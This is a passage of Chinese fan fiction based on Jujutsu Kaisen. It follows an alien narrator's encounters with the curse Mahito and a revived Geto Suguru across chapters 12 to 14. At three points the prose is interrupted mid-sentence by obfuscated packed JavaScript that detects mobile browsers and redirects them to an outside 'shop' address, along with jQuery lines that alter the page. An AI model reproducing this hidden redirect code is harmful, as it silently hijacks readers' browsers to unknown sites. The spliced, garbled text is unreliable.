l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204734|196577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 配一只猫需要花多少钱。 回到东京已经是傍晚,因为我不打算陪五条悟一起加班,所以由伊地知先送我回家,再将师徒两人送回高专。 我原本是打算用猫的形态回家,但五条悟突然问起如果碰到小野先生怎么办。 “小野先生?”乙骨好奇的问道。 “住在隔壁的邻居。”我说。 “虽然是普通人但是灵感很强,听说以前看到过咒灵。”五条悟补充到。 “但他以为是幽灵之类的东西,小野先生胆子很小,担心也比一般人多。”我继续解释。 “按理说这样的体质最容易被咒灵盯上了,倒是没听他说过身上有不对劲的地方。”五条悟依旧游离在谈话关键之外。 “怀疑心也很重,在他面前要格外谨慎。”我试图将话题带回正轨。 “艾利恩差点被当作午夜杀人狂呢。” “小野先生以为悟是逃犯。”我不甘示弱。 “欸?真的?什么时候的事?”五条悟大吃一惊。 “在我住进来之前,好了,我先走了,谢谢你,伊地知先生,再见,忧太。”已经在车上变出人形的我跟两人道别后,就开门自行下车。 五条悟探出车窗朝我挥了挥手,我勉强举起右手晃动两下算作回应,可以想象,如果一直不管他,车上的伊地知会承受怎样的压力。 目送着车辆渐行渐远,我原本打算直接回家,但一股从未出现过的浓郁气息吸引我的注意,地点也不远。 其实俄罗斯方块也挺有意思的不是吗。 我不自觉勾起嘴角,朝着气息源头走去。 · 2017年9月1日,东京,涩谷站前交叉路口 作为一个十字路口,这里算是非常有名了,不仅是众多影视作品的取景地,就连统计部门都在去年专门监测过这里的客流量,据说光一次绿灯的时间,就有3000人通过。 几次与人擦着肩头侧身而过,我终于找到一个不起眼的小巷,可就算是这种地方,也有造型独特的人三三两两的聚集在一起,手上拿着手机和便利店的罐装饮料,可能是啤酒。 我无视了夹杂着发酵的啤酒花与调制香水的搭讪,自顾自朝巷道更深处走去,终于找到一块井盖,这里可以通往下水道。 考虑到身后还在叫嚷的人类,和入口处的几个监控摄像头,我原本想用触须先控制几个人脑,再在电力系统里制造一个半分钟的短暂的故障,但我突然想到一个更好的办法。 人类中流行过这样一种说法。 他们认为自身之所以能胜过其他动物,成为地球的主宰,是因为他们能够使用工具。 但我想即便是未经考证的说辞,这样的观点也不准确。 不是‘能够使用’,而是他们能够‘学会使用’工具。 但如果他们把眼光放宽一点,就会发现,擅长学习的并非只有人类,是他们只看见了人类。 “自暗而生,暗中至黑。” “污浊残秽,尽数祓除。” 黑色的‘帐’将巷口笼罩,我又为自己附上一层咒灵形式的咒力,和我最初递出的那份简历一样,这也是我从无数被我吞噬的咒灵的能量信息中提取整合而成的。 这下,无论是外面的人,还是监控都拍不到我了,至于已经拍到的画面,等出来以后再一起删除就好。 我用触须掀开井盖,剩余的触须则缠在下井梯上,带着我通往地下。 管道世界里只有水流声,明明上方还充满喧嚣,这里却听不见多少人声,也许是这里已经远离了人流最为密集的地区。 拥有智慧的咒灵我不是没有见过,但能够理性对话的暂时没有,不过我对咒灵的兴趣也仅限于作为替代食品,如果说真依的手枪算得上巧克力,那么咒灵就相当于超市里货架上的零食,当然会有美味的部分,但吃得多了,总让人觉得兴致也没那么大了。 当然了,如果有新品种的零食,比如新奇口味的薯片、更换夹心的三明治,我还是愿意尝试的,毕竟尝试是学习的前提。 “为什么跑到这里来了,你讨厌人类吗?” “有点吵。”他狡猾的回避了我的问题。 在我走到灯下之前,他自行朝我跑了过来,他大概到我的腰间。 “你是谁?妈妈吗?你是来找我的吗?” 我没有躲避,任由他双手抱住我,又学着小孩子撒娇的样子把下巴抵在我的小腹上方,卖乖似的露出一个极尽纯真的笑容。 我感受到一股咒力波动,来自身后那双孩童小手,如果不是吃下过真依用咒力创造的手枪,我恐怕无法理解这样的咒力运作代表什么—— 他在尝试扭曲我。 12.想吃的第十二天 欸? 为什么? 为什么没有反应? 诞生不到一小时的真人遇见了自己无法理解的事物。 “你...为什么...” 他在那双无机质的黑色眼瞳中看见了自己,看见自己的笑容逐渐僵硬,直至完全消失,只剩下真心实意的迷茫。 而且她的手是什么时候落在他头顶的?他居然都没有发现。 真人下意识想躲,但就在他闪躲的瞬间,眼前之人说话了: “你刚刚在做什么。” 拇指用轻柔又不可抗拒的力道抚开他的额发,真人感受到了来自死亡的威胁,也是此刻他才意识到,如果想躲,眼前这个‘女人’是完全躲的开的,可她为什么不躲?是故意的吗? “抱歉...” “道歉可算不上回答,你在害怕?”我歪了歪头,漫不经心的收手。 原来摸别人的头是这种感觉,也没有什么特别的,搞不懂五条悟为什么喜欢做这个动作。 难道是物种的问题,因为我不是人,而眼前这只咒灵也不是猫? “不,我没有——” “你的确应该害怕,因为我是来吃掉你的。” 这下他彻底说不出话了,张开的嘴唇微微颤抖,喉咙里发出卡顿的声音,却无法组织成语言。 “但我对你刚才的做法有些好奇,所以我最后再问一遍,你最好想清楚了再回答——” “你,刚刚在做什么。” 我猜的没错,眼前这只咒灵的确拥有智慧,在确认我暂时决定放他一条生路以后,作为交换,他交出了自己的名字与术式。 他说他叫真人,刚刚用在我身上的术式是通过改变对象的灵魂形态,从而使其肉体状态发生改变,见我不仅没有生气,反而露出颇有兴致的样子,他试探的问道: “为什么...在你身上无法奏效?” “大概是因为我没有灵魂吧。”我坦然道。 真人瞪大了眼睛,满脸的不可置信—— “怎么可能,其他咒灵都是有灵魂的,你明明...你不是咒灵?” 我眨了眨眼,“我没说过我是吧。” “那人类?不,你身上的气息明明属于咒灵...难道是因为吃太多咒灵。”他低头咬着拇指,沉思片刻,又放下手指,转而扑到我面前,眼中早已没了恐惧,取而代之的兴奋的探索欲: “呐呐,艾利恩,你到底是什么?” 我盯着他的身体上下打量一会,说: “你为什么要用一副儿童的身体。” 真人笑着抱怨“那种东西根本无所谓啦”,但身体还是恢复成成年人的模样,他给自己的成人形态选择的性别也是男性。 “倒是你...难道比起成年人,更讨厌小孩子?” 异色眼瞳中闪烁着狡黠的光,他高兴的像是抓住了我的什么把柄。 我移开视线,又装作没听见他的问题: “我不是咒灵,也不是人类,如果用人类语言来解释...大概是一个现象。” “现象?哈哈哈,这是你自己想出来的笑话吗。”化作成年男性的真人开朗的笑着,“如果艾利恩是和刮风下雨一样的现象,那你为什么在思考?彩虹会思考吗?” “我不知道,但这已经是最接近的概念了。” “你在难过吗?”真人轻声道。 我转头看去,笑容还挂在他脸上,不像幸灾乐祸,但也没有虚伪的感同身受。 “我应该难过吗?因为我没有灵魂?还是因为人类社会没有可以准确形容我的词汇?” 真人目不转睛的盯着我,好一会,才大笑出声—— “你...哈哈哈哈哈哈哈…真是——真是太傲慢了!” “啊啊...诞生以来第一个说话的对象是你,真的...太好了。” 说着,他就想像刚才那样抱住我,但我在他扑来的瞬间就起身走向一边:“被你改造过的咒灵在哪?” “已经死掉了哦。”真人不在意的往后一靠,扑空的双手就这么撑着身后的地板。 “用这个试试。” 我将刚刚从下水道深处捉到的咒灵扔到真人面前,在触须的捆绑下,老鼠形态的咒灵不住的挣扎。 真人挑了挑眉,“实验吗?” “你可以这么理解。” “我们果然很聊得来。”真人笑的很开心。 有了前几次的经验,这次的改造很成功,被捕获的咒灵长出了畸形的翅膀,也没有死亡。 “感觉还缺点什么...”真人托着下巴沉思。 就在他准备对那只咒灵再进行一番改造时,自我身后伸出的触须已将它包裹成茧,当淡蓝色的茧随着触须的撤离逐渐化开,茧中的内容物已然消失不见。 真人好奇的睁大眼睛:“这就是‘吃掉’吗?” 我正在解析这份带有全新信息维度的食物,没有理他。 “真是一番美丽的‘现象’呢”他玩味的笑着,“然后呢——接下来是不是该换个实验对象了?人类怎么样?” “人类暂时不行。”我果断否定他的提议。 真人有些惊讶,但并不生气,“为什么?而且为什么是‘暂时’?” “你问题还真多”我忍不住吐槽一句,“你对人类下手,会给我惹麻烦。” “真的?还有你觉得麻烦的事情?”真人有些怀疑。 “谁都会有觉得麻烦的时候。” “这么贴心的话真不像你说出来的。”真人揶揄道,“而且你这么一说,反而让我...” 他目不转睛的盯着我,眼中还含着笑意,他是故意不把话说完的。 我眨了眨眼,说:“姑且提醒你一句,考虑到你并不是一个值得信任的对象,我在你身上放了一节触须,如果检测到你的咒力在与人类接触,留在你体内的触须会自动爆炸,至于爆炸的后果...你可以试试。” “算威胁吗?” “不算,我是真的不知道作用于灵魂的‘爆炸’会产生什么效果”我认真向他解释。 “不过别担心,如果‘爆炸’还不足以解决你,我会亲自动手的。” 两息过后,他满不在乎的摊了摊手,一副‘真拿你没办法’的表情,仿佛他才是那个包容者:“好吧,在你的‘麻烦’解决之前,我是不会对人类出手的。” 我瞥了他一眼,对外走出几步,不经意的回头:“不问问我为什么留下你吗?” 听到这句话,真人脸上露出一个真切而不夸张的微笑,这个满怀真挚的笑容由他来做...有点倒人胃口。 “当然是因为...你也是个恶趣味的家伙啊。”他轻声道。 我思考片刻,突然转身,快步走到他面前,他没有躲闪,只有微缩的瞳孔暴露他的错愕。 我当即蹲下,又倏然贴近—— 漆黑的发丝将他的脸笼罩在内,形成一个无法堪破的绝对密室,鼻尖抵着鼻尖,四目在咫尺间相对—— “原来如此。” 说完,我也微笑。 · 等‘女人’离开,真人才意识到他把自己出生以来的所有情报都交出去了,却连对方的名字都没有换到。 他无聊的坐在原地,随手挑起自己的一缕头发,端详半天,又抓着小刷子似的尾端,轻扫脸颊。 过了一会,他又感到一阵泄气,径直向后一仰,双手张开,躺倒在地。 “完全...不一样。” 他一边喃喃自语,一边向空中伸手——用力一握,再一张开,手心空无一物。 他思索一番,肢体自手指末端开始扭曲,蚯蚓状的筋络沿着皮肤表面向中心涌进,遍布全身,直到在眉心处停下—— “原来放在这里啊...” 借着污水的倒影,真人看见自己,不及在她眼中的清晰。 “怎么办?擅自取出来肯定会生气的吧,说不定也会触发‘爆炸’,说到底,自己都不确定的东西就往别人身上丢,那家伙也太任性了吧。” 真人自顾自说了很久,尽管他并不在乎是否有人听见,但说着说着,也开始感到乏味,于是又闭上嘴,盯着水中的影像,陷入沉思。 · “艾利恩的意思是,因为忧太身上拥有两个灵魂,但□□和咒力又只有一份,由此得出的结论就变成了——不是里香诅咒了忧太,而是忧太诅咒了里香。” 他一手托着下巴,另一只手习惯性的伸向我,又在落到头顶之前突然僵住。 “怎...” 不等我把话说完,他的手还是落下来了,力度和之前一样。 我歪了歪头,希望能用眼神传达我的困惑,但他似乎根本没看这边,只是自顾自的把话说了下去:“从京都那边查到的情报来看,我也倾向于这种说法。” “话说艾利恩,现在能让爱子出来吗?” 说这句话的时候他又看过来了,一脸无辜的样子看的人火大,脸还凑那么近。 “京都的情报。”我提醒道。 生气了呀。五条悟暗自笑着,脸上还是不动声色。 “忧太是菅原道真家的后代,和我算是远方亲戚。” “当然了,重点不是这个。” “作为大咒术师的后代,拥有庞大咒力,又在无意识的情况下诅咒了本该前往轮回的人...嗯,也完全说得通呢!” “啊,那真是恭喜。”我敷衍的回了一句。 如我所料,五条悟果然对这心不在焉的回应很是不满,“爱子酱,不要一副事不关己的样子啊,你忘记自己的任务了吗?” “哦,我忘记了”我目不转睛的盯着他,可惜没有看到我想要的东西,但台词又已经来到嘴边,“我忘记告诉你,我已经想到办法了。” “笑话冷掉了欸。”五条悟一脸坏笑。 “有什么办法,再好的笑话观众不愿意配合也是炒不热场子的。” “欸~~~居然把锅甩给我了,真是越来越狡猾了。” 他才是越来越幼稚了。 我的方法很简单,既然里香的诅咒是伴随她的灵魂一起附着在忧太身上的,那就把她的灵魂剥离出来就好。 五条悟还很惊讶,他以为我会说把里香的灵魂吃掉就好。 我希望他明白,我也不是什么都吃的,也许在他们看来灵魂很重要,但于我而言那只是一块吃了也无害的塑料,味道比那些咒力无法集中的普通人还寡淡。 而且如果能吃掉,就代表能剥离,毕竟他交给我的任务中包括了不能伤害乙骨忧太本人这一前提。 所以现在唯一的问题是,该如何在不伤及乙骨忧太的情况下,单独分离出里香的灵魂。 至于夏油杰那边...只能跟他说声抱歉了。 只有灵魂,没有咒力的里香,于他而言也没有意义,从某种意义上来说,我可能还破坏了他的猎物。 正当我还在思考要不要把这个消息告诉他时,五条悟那边又传来新消息: 夏油杰去了高专,并且预告了将在十二月二十四日发动一场名为百鬼夜行的咒灵暴走。 对此,我表示强烈谴责。 “浪费可耻。”我咬牙切齿道。 “...这话你亲自跟他说?” 五条悟明显愣了一下,他没想到还能从这种角度批评夏油杰。 · 2017年12月24日,京都。 “真依酱,你在找人吗?”西宫桃好奇的看着正站在高处四下张望的禅院真依。 后者收回视线,露出一个意味不明的微笑:“不,是一只猫。” 猫? 西宫桃第一反应是乙骨忧太那只会玩手机的猫,但转念一想,交流会的时候真依酱不在,就算听他们说起,也不可能一眼认出来,更何况说到底也只是一只普通的猫,真依怎么可能在这种时候去找一只没见过的猫。 她很快就把这个念头抛之脑后,毕竟相比之下—— “话说真依,你今天用了多少发子弹了?” 禅院真依闻言,低头看向那把重新造出来的手枪,外形跟被猫咪老师吃下去的那把一模一样,只是材料发生了变化。 但这一变化的特性还不宜显露,能在实战中练习的,只能是一些微小而不起眼,就算被人看出端倪,也能解释的‘进步’。 “不知道,我还没数过呢,但是怎么说...”真依转过头,垂眸俯视着四处作乱的咒灵—— “总感觉...就算全部杀光,子弹也用不完。” 全部? 刚刚结束战斗的加茂宪纪一惊,转头一看,身后的咒灵果然已经被人清空。 什么时候的事? 该不会...都是她一个人—— 加茂宪纪下意识看向站在屋顶的人,不知是不是巧合,真依的眼神正好也落在他身上。 她的食指还抵在扳机处,随手一抬手腕,左轮手枪就在指尖掉了个转,再一看已经被她收回腰间。 禅院真依没有说话,仿佛只是因为眼下这片区域的咒灵已经清空,便转身离开。 只有她自己知道,刚刚清空的弹夹,现在已经全部装满。 她说不知道已经用了多少发子弹,并不是在撒谎。 但她需要确认的已经不再是自己还剩几颗子弹,而是眼前还有多少敌人。 “只是子弹的话...还算不上有意思吧。” “那家伙,一看就很难搞。” 禅院真依独自行走在屋脊之上,对着空气兀自抱怨,也不怕被某个来去无踪的存在听见。 突然,远处传来一声爆响—— 半空中隐约能看见一个白色的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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触须挡在高专众人身前形成屏障,无暇顾及其他人的状况,我伸出食指,指了指那这个还在翻涌的漩涡,又点了点自己的嘴角: “教主阁下,我对你的漩涡很感兴趣。” 夏油杰眯了眯眼,笑着说:“我倒是不介意由你们一起‘享用’呢。” 但我知道他这话不是我想要的意思,看在他端出的这道仅次于五条悟的大餐的份上,就不计较他浪费粮食的罪过了。 “如果我用‘里香’跟你换呢?” 在他说话的时候,我就没有再做那个不礼貌的举动,但和身后的乙骨忧太一样,夏油杰还是保持着随时准备发动进攻的状态。 就在这时,身后突然涌现出一股强烈的能量波动,里香也突然大叫起来,我本能的调动触手想要阻止,却看见夏油杰也用漩涡发动了攻击。 我搞错了。 我应该听取五条悟的建议,先说那句话的—— “...浪费可耻啊,臭小子们。” 就这样,我眼睁睁的看着夏油杰和乙骨忧太把生日蛋糕砸在对方的脸上,作为唯一一个对蛋糕感兴趣的人,就只能看着可口的奶油四处飞溅,而此刻的我,连伸出触须去接住他们挥霍的食物残渣的兴趣也没有了。 不懂,既然都不想要,为什么不能给我。 是我不够礼貌吗?还是开出的条件不够满足他们的需求?但那些条件不是他们自己提的吗? 我不知道夏油杰做他那块奶油蛋糕花了多少年,但我知道他们毁掉这块蛋糕只用了不到一分钟,哪怕让我用触须吃掉,我也会细细品味至少三分钟的。 最后的他又得到了什么呢? 百无聊赖之下,我看了一眼夏油杰的现状,又看了一眼已经倒下的乙骨忧太。 他似乎还在戒备我,我默默叹了口气,转身朝五条悟的好学生走去。 好吧,至少、至少还有五条悟呢。 人类有福至心灵这种说法,眼下正是验证的时候,就在我想到五条悟的下一瞬间,本该在京都作战的五条悟就来到现场,但他没有直接回到这边,而是去了夏油杰逃走的方向。 就这样,夏油杰结束了他美味而罪恶的一生—— 原本,应该是这样的。 · 因为说出了要向夏油杰献上里香作为交换的话,我在高专的学生这边也失去了信任,左右也不会再有危险,里香的灵魂也因为乙骨忧太最后的承诺得以成佛,简而言之,这里已经没我的事了。 我转身打道回府,只想回到我唯一的母星怀中。 到家的时候已经是晚上十一点,小野先生因为部门聚会,也到这个时候才回来。 罕见的,我们身上有着相同的消极气场。 失意的二人对视一眼,低下头,同时叹息。 “我呢...入职快十年了,居然还能做出把印章弄丢的事情,是不是主动辞职比较好...” “找到了吗?”我原本只是礼貌性的一问。 “找到了,但是是新入职的实习生找到的,他还替我保密呢,相比之下,我这个前辈真是...” “说起来,我好像也忘了一样东西。”我突然道。 “欸?!”触碰到刚刚经历的创伤,小野悠人连酒都吓醒了,“是很重要的东西吗?!得赶紧找到——” 我摇了摇头。 “也没那么重要,是想要就能有,也已经丢的到处都是的东西。” 小野悠人长舒一口气,“那就好。” 轻松下来的他甚至露出一个大大的笑容,还反过来安慰我: “听说弄丢的东西,会在某天自己出现呢。” 回到家,和往常一样,坐在沙发上看着窗外的夜空一点点消失,直到太阳光将黑暗彻底驱散,时间也就这么过去了。 某天早晨,门铃突然响了。 不是五条悟的气息。 我静静的坐在沙发上,等待走错门的人自行离去。 但过了一会,门铃又响了。 看来不是走错了。 出于礼貌,我选择去开门,没有闻见特别的气息,可能是普通人,说不定是五条悟买了什么快递? 这样想着,我推开门,却看到站在门口的... “夏油杰的灵魂?” 我还是第一次看到人类的灵魂,真稀奇。 “大概...姑且还是本人。”他表情复杂,说出来的话自己都不确定。 盯着他的眉心看了一会,我算是确定了。 小野先生,这是你的诅咒吗。 但我怎么没听说,弄丢的东西出现的时候,还有附赠品。 13.想吃的第十三天 夏油杰是在一个晴朗的月夜醒来的。 凉爽的风从身边刮过,清凉过头,甚至让人产生一丝冷意。 当他伸出双手,再低头一看,才发现自己正赤身裸体的坐在一垛草丛中。 身体也恢复完整,他第一反应是,自己来到了天堂。 可转念一想,如果像他这样的人都能上天堂,那他们...或许从一开始就错了。 “哈...哈哈哈哈哈哈——” 夏油杰放声大笑,笑着笑着,脸上的肌肉陷入僵硬。 他面无表情的审视四周,连一个人影都没有。 作为天堂...倒是还算清净。 夏油杰站起身,正思索该往哪走,就感受到一股强烈的吸引力,仿佛他不再是他,只是一块磁铁,只想朝另一块磁铁靠近。 他决定顺从本能,朝未知的方向走去。 他猜想那可能是通往轮回,或者地狱的道路。 但走着走着,他看见一条公路,一辆车在他面前停下,他甚至没看清车里的人,但脑中乍现的信息告诉他车主是他最为厌恶的猴子。 夏油杰眯了眯眼,心中升起不快,但不等他作出反应,一件外套就这么劈头盖脸的朝他砸过来。 随着外套落地,车也开走了。 夏油杰瞥了一眼,就这么朝路的尽头走去。 黑色的夹克外套就这么躺在地上,夹棉的内里,就连山风都无法吹动它。 走到山脚下,人就多起来了。 要不是那些猴子的眼神和吠叫实在碍眼吵闹,他是决计不会接受他们施舍的衣物的。 诡异的是,随着距离一点一点缩短,他甚至感受不到烦躁。 哪怕他发现自己无法发动术式。 在困惑与躁动之上,盘踞着一股空前巨大的虚无,不是空虚,仅仅只是虚无,猴子们来来去去的身影,丑恶虚伪的作态,都只是与自己无关的虚影,像电影院里落了灰的宣传海报—— 看到了,就只是看到了而已。 变化与答案藏在一根不起眼的电线柱下,他冷漠的转头,突然闻到一股久违的食物的香气。 他一直以为自己的味觉已经被那些臭抹布一样的咒灵球破坏掉了,可不知为何,当他用附着咒力的五指将那只诞生不久的咒灵碾碎出汁,又将本该令人作呕的残秽沿着指缝舔舐、吮吸殆尽时—— 他品尝到了美味。 更多、更多、还想要更多... 理智回笼的瞬间,手中的汁水已经被舔干净了。 他站起身,对于自己野兽般的进食姿态毫无羞愧,只是随手用拇指擦去嘴边的残留,顺便将拇指上的最后一点残秽用舌尖卷入嘴中。 他不知道自己这是怎么了。 他隐约猜到自己可能变成了某种非人非物的存在。 但都不重要了,只要找到‘那个’就好。 但是‘那个’...到底是什么呢? 本能之外,夏油杰突然产生一丝好奇,像初生的婴儿,对这个世界初始的好奇,不带任何目的,仅仅只是因为他是他,他在这里。 当他遵从指引,走进猴子们聚集的区域,又在一扇平平无奇的门前停下时,他还是产生了怀疑。 可是脑中的信号告诉他,‘那个’就在里面。 出于礼貌,他没有敲门,而是选择按下门铃。 第一下。 过去了十分钟。 没有人应答。 他不觉得被怠慢,也丝毫不怀疑那些连他自己都说不出依据的判断,他只是用一模一样的力道,再次按下门铃。 这次过去了三分钟,门开了。 他想过门内的人可能是一个小孩,可能是老人,也可能只是一个样子平平无奇的男人或者女人,甚至可能不是人—— 但他唯一没想到的是,居然会是自己见过的人。 要不是看见对方脸上的疑惑,他甚至想不合时宜的笑出来,当然,只是自嘲—— 怎么会想不到呢。 虽然比起化形和隐身,起死回生的确是另一个维度的事情,但既然是这个‘人’,也不是没有可能。 唯一令他惊讶,就是她本人的茫然了。 搞什么,把他变成这样,居然还作出这副无辜的表情。 · “啊...本人啊。” 我一边重复着他的用词,一边朝他靠近,直到再也无法进一步靠近。 “听你这不确定的语气,看来是有什么变化了?对比‘本人’。” “嘛,要说变化还真是不少。”夏油杰突然感到一阵前所未有的放松,就这么靠着门框,信手抱臂,懒洋洋的看着矮自己一头半的‘人’。 “比如臭抹布一样的咒灵突然之间变成了美味。” 他一边说,一边紧紧盯着眼前之人的表情,不放过任何一丝细节。 只可惜对面的人不仅不配合,还当着他的面走起了神,失焦的双眼一看就是在放空。 夏油杰有些不爽。 “又比如,咒力还在,术式却不见了。” 还是没有反应。 “不过要说最明显的变化,还是‘起死回生’这一点了,怎么样,你有头绪吗?” 他笑着说,表情有多温柔,说出的话就有多咄咄逼人。 理清思绪后,我抬头看向他,一点也不回避那双笑眯眯的眼睛。 “嗯,是我干的。” 换作之前的他,此刻恐怕已经气笑了吧,可现在的他居然在这大言不惭的供认中品出一丝坦荡。 “很诚实呢。” “我第一次见到你,不是在天台,那个时候我在你体内留下了一节触须。” “当时我只下达了‘修复’的指令,目的是防止你在被我得手之前死掉。” “后来的事情你也知道了,因为太意外了,所以忘记把触须收回来了,但按理说就算自动修复,应该也只会留下一具完整的身体才对,你的意识应该是和灵魂一起消灭的...嗯,你怎么了?” 他怎么在我说话的时候闭眼了? 睡着了? “你一直是这种说话风格吗?”他睁开眼,揉了揉眉心,叹气似的问。 “嗯,有什么问题吗?” “不,没有...”夏油杰难得又说起了违心的话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232806|196577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “悟倒是叫我改过现在的说话方式,比如加点语气词之类的...” “不是语气词的问题吧。”夏油杰终于还是没忍住,但他也不想再纠结于这种无关紧要的事情,“我也有一些事情要告诉你。” “愿闻其详。” 夏油杰坐在五条悟的单人椅上,我是窝在单人沙发里,他简单交待了一下自复生以来发生的变化,关键只有两个,一是他无法再发动咒灵操术,二是曾经像臭抹布一样的咒灵现在变成了不可多得的美味,对他而言。 我也是第一次碰到这种情况,目前唯一能确定的是,他应该是受到我留在触须里的基因信息的影响,从而拥有了一部分属于我的特性。 从某种意义上来说,现在的他算是我的... “还不知道怎么称呼你呢。”夏油杰突然开口打断了我的思路。 看着那张纯真可爱的笑脸,我脱口而出—— “按照人类的习惯,你应该叫我‘妈妈’。” · 门外,小野悠人感到大事不妙。 原来如此,原来如此! 难怪那天晚上的艾利恩小姐一脸失落,而五条先生又接连几天没有回家,单纯的他只以为五条先生又是和以前一样去了外地出差,直到他早上出门看见一个陌生的男人(好像还是个帅哥)朝隔壁走去... 已经走到电梯口的他一咬牙,偷偷跟了上去,结果就看见艾利恩小姐直接请他进去了。 可惜隔着走廊的距离,他没有听清两人的谈话,只隐约听到一些‘变化’‘第一次见面’‘我有话对你说’之类的字眼,但结合艾利恩小姐突然热情的态度,他好像已经猜到事情的原委了。 怎么办,艾利恩小姐。 一边是因为工作繁忙进入平淡期的现任。 一边是突然找上门想要死灰复燃的前任,可能还是初恋! 虽然五条先生也是池面,但两人完全是不同的类型,那个长发眯眯眼帅哥不是没有胜算啊! 怎么办啊,五条先生! 都这种时候了,你怎么还在出差—— “嗯?你在找我吗?” 小野悠人不敢置信的回头,从他头顶出现的,正是他为之担心的五条悟。 五条先生! 你怎么偏偏在这种时候回来了啊! 顺着趴在墙角的小野悠人身体面朝的方向,五条悟看到了自己空无一人的家门口。 ... 他终于开始变态了吗。 真是一点也不意外啊。 “没有问题的话我就先回去了。”五条悟直起身,说着就要朝家门走去。 “等等,你现在不能——” 五条悟疑惑的回头,但还是停下了脚步。 小野悠人唾弃自己。 最后,他还是成为了这场不伦之恋的帮凶。 可是他有什么办法,他只是想维持两个家庭的和平罢了! 与此同时,门内。 “你要我躲哪?” 夏油杰不可置信的重复道。 “衣柜。” 我也耐心的重复了一遍自己的答案。 14.第 14 章 “好了好了...先放手,我进去就行了,对吧?”夏油杰额角青筋突突直跳,居然跟假笑的嘴角抽动频率一模一样。 但他还是习惯用那种温柔的语气,我觉得他去干牛郎也是大有前途的,别看他嘴上这么说,抵着柜门不肯让我将他彻底关在里面的手—— 可没有一点放松。 “不松手的话柜子会坏的,到时候就算我躲在里面悟也会发现不对劲。”夏油杰继续好言相劝。 “没关系,我连你都能‘修’,柜子算什么。” “既然是这么方便的能力,就用在该用的地方啊...”夏油杰无奈。 “什么是该用的地方?”我下意识问道。 夏油杰一噎,手上的力气也随之松懈,结果就这么被严严实实的关进了衣柜。 视野被黑暗吞没,脸上鼻尖都被衣物轻轻贴住,再有就是铺满鼻腔的鼠尾草香气,蹭着点不明显的粉红胡椒,让原本清新的味道多了几分成熟。 他没有去探究这些衣物的主人到底是谁,全部的思绪都被她无意间问出口的话语占据。 所以,在潜意识里,他觉得‘该用’的地方到底是哪里呢? 不等他想出答案,夏油杰就听见卧室房门被人打开的声音,紧跟着是一道脚步声,与过分轻松的语调—— “哦。原来在这里啊。话说你到底做了什么,小野先生都变成跟踪狂(stalker)了哦~” “你这是受害者有罪论。”我不客气的顶回去。 “哪有那么严重啦,而且艾利恩也知道吧,不管是你还是我,如果表现出那么一点点——哪怕只是一点点的不对劲,小野先生也被吓一大跳哦。” 五条悟说的很夸张,尤其是在描述程度的时候,哪怕没有亲眼所见,也能想象到他手舞足蹈的样子,表情肯定也相当配合。 夏油杰面无表情,维持着一个不算太扭曲的姿势,将自己困在这个四四方方的黑盒子里。 “我真不知道自己做了什么...”女声听上去还有些委屈,最后一本正经的反问,“你知道吗?” 五条悟像是被什么东西卡住了一样,但他很快就放弃了这个让自己尴尬的话题:“锵锵~猜猜看,这是什么?” 五条悟突然从身后掏出一个便当盒。 我低头看了一眼,抬眼对上他满怀期待的视线:“车站便当,而且是奈良的冬季限定。” “欸!为什么!为什么你这个外星人连这种事情都打听的清清楚楚!”五条悟的惊奇不似作伪,但这副大惊小怪的样子里又有多少表演成分,就只有本人知道了。 “快说,你来地球的目的到底是什么?!” 五条悟双手抱臂,俯身向我靠近,仿佛想用自己的影子将我困在原地,或者达到一些威吓效果。 真的很幼稚。 “想干什么你不是最清楚了吗。” 但现在的我希望他能再幼稚一点,这样就不会把注意力放在藏着夏油杰的衣柜上了。 ... ... ... 怎么了? 我狐疑的抬头,却看见五条悟五指微微张开,单手捂住自己的下半张脸,另一只手抵着这只手的手肘,眼神还落在我头顶,也可能是脸上,但就是不说话。 我刚打算开口问他这又是哪里学来的拍照姿势,五条悟就再次突兀的跳开话题: “啊,好不容易回来一趟,当然要穿家居服了,呐呐艾利恩酱,你说我们明天干脆待在家里不出门怎么样?超市也不去了,想吃什么就叫外送好了。” 别吧,那夏油杰不得在柜子里躲一整天。 他才‘出生’不到一天,都没好好用现在的身体看看这个世界,很可怜的啊。 都算是虐童了吧,按照人类的说法。 “唔,你为什么看上去一脸不赞同,你不是最喜欢窝在家里了吗?准确来说是窝在你的小猫窝里,哈哈。” 他总是这样,一边不留情面的戳穿别人不想被看见的心事,一边又要用玩笑话缓和气氛,目的是为了让对方无负担的说出那些难以启齿的烦恼。 冒着被人讨厌的风险做这些吃力不讨好的事情,他又能得到什么呢。 “你不知道那件事吗?”我说。 “我应该知道哪件事?”他笑着歪了歪头,竖起的白发微微摆动,比想象的柔软。 “百鬼夜行那天,用里香跟夏油杰交换漩涡的事情。” 五条悟依然微笑着,却是过了一会在挑起眉,满不在乎道:“你说那件事啊~什么?艾利恩在担心吗?担心被大家讨厌?” “不是。”我不假思索道。 “回答的这么干脆也很伤人心啊,艾利恩酱。”五条悟突然放轻了声音,像是在哄一个不听话的孩子。 “你为什么要伤心?‘大家’又不包括你。” “所以你的意思是...” “我的确在担心,但是在担心会被你讨厌,而不是其他人。” 又来了,五条悟又露出那张我看不懂的表情,只是这次他的脸上没有遮挡,微启的嘴唇暴露他的惊讶与一丝意识上的不知所措,这样让我发现他的嘴唇不像很多成年男性那样干燥开裂,反而泛着不明显的光泽,应该也是柔软的质地。 